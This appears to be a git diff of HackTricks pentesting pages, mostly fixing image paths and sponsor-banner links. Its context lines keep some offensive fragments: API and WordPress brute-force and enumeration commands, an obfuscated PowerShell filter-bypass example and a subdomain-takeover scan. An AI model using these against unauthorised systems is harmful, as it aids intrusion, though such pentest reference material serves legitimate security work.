 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -132,7 +132,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

network-services-pentesting/pentesting-web/web-api-pentesting.md

@@ -12,9 +12,9 @@
 
 </details>
 
-<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -138,10 +138,10 @@ AutoRepeater Burp Extension: Add a replacement rule
 * `Match: v2 (higher version)`
 * `Replace: v1 (lower version)`
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -230,9 +230,9 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 * [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): API\_Fuzzer gem accepts a API request as input and returns vulnerabilities possible in the API.
 * [**race-the-web**](https://github.com/TheHackerDev/race-the-web): Tests for race conditions in web applications by sending out a user-specified number of requests to a target URL (or URLs) _simultaneously_, and then compares the responses from the server for uniqueness.
 
-<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

network-services-pentesting/pentesting-web/wordpress.md

@@ -12,10 +12,10 @@
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -101,10 +101,10 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
 curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -285,10 +285,10 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
 #You can try to bruteforce the admin user using wpscan with "-U admin"
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -429,10 +429,10 @@ Also, **only install trustable WordPress plugins and themes**.
 * **Limit login attempts** to prevent Brute Force attacks
 * Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

pentesting-web/cache-deception.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -125,10 +125,10 @@ The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vul
 
 Example usage: `wcvs -u example.com`
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -232,10 +232,10 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
 * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -247,7 +247,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/clickjacking.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -177,10 +177,10 @@ See the following documentation for further details and more complex examples:
 * [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
 * [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -192,7 +192,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/command-injection.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
@@ -168,7 +168,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/crlf-0d-0a.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -249,7 +249,7 @@ The best prevention technique is to not use users input directly inside response
 * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
 * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
 
-<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

pentesting-web/deserialization/exploiting-__viewstate-parameter.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -237,7 +237,7 @@ out of band request with the current username
 * [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
 * [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

pentesting-web/domain-subdomain-takeover.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -43,10 +43,12 @@ There are several tools with dictionaries to check for possible takeovers:
 * [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
 
 #### Scanning for Hijackable Subdomains with [BBOT](https://github.com/blacklanternsecurity/bbot):
+
 Subdomain takeover checks are included in BBOT's default subdomain enumeration. Signatures are pulled directly from [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
-~~~bash
+
+```bash
 bbot -t evilcorp.com -f subdomain-enum
-~~~
+```
 
 ### Subdomain Takeover Generation via DNS Wildcard
 
@@ -87,10 +89,10 @@ All of them vulnerable to subdomain takeover. All of them were big brands. Talki
 
 Nevertheless, recent phishing campaigns host content on domains with long domain names that include name of the brand (see [Apple example](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Having valid SSL certificate (more on that below), keyword in domain name and website which mimics the website of targeted brand, people tend to fall into these attacks. Think about chances with a legitimate subdomain of this brand.
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -181,10 +183,10 @@ Until next time!
 
 [Patrik](https://twitter.com/0xpatrik)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -196,7 +198,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/email-injections.md

@@ -1,6 +1,6 @@
 # Email Injections
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -165,7 +165,7 @@ So, if you are able to **send mails (maybe invitations) from the web application
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

pentesting-web/file-inclusion/phar-deserialization.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -89,7 +89,7 @@ php vuln.php
 
 {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
 
-<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

pentesting-web/nosql-injection.md

@@ -1,6 +1,6 @@
 # NoSQL injection
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,7 +15,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -137,11 +137,7 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference
 ]
 ```
 
-
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
-
-
-
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 \
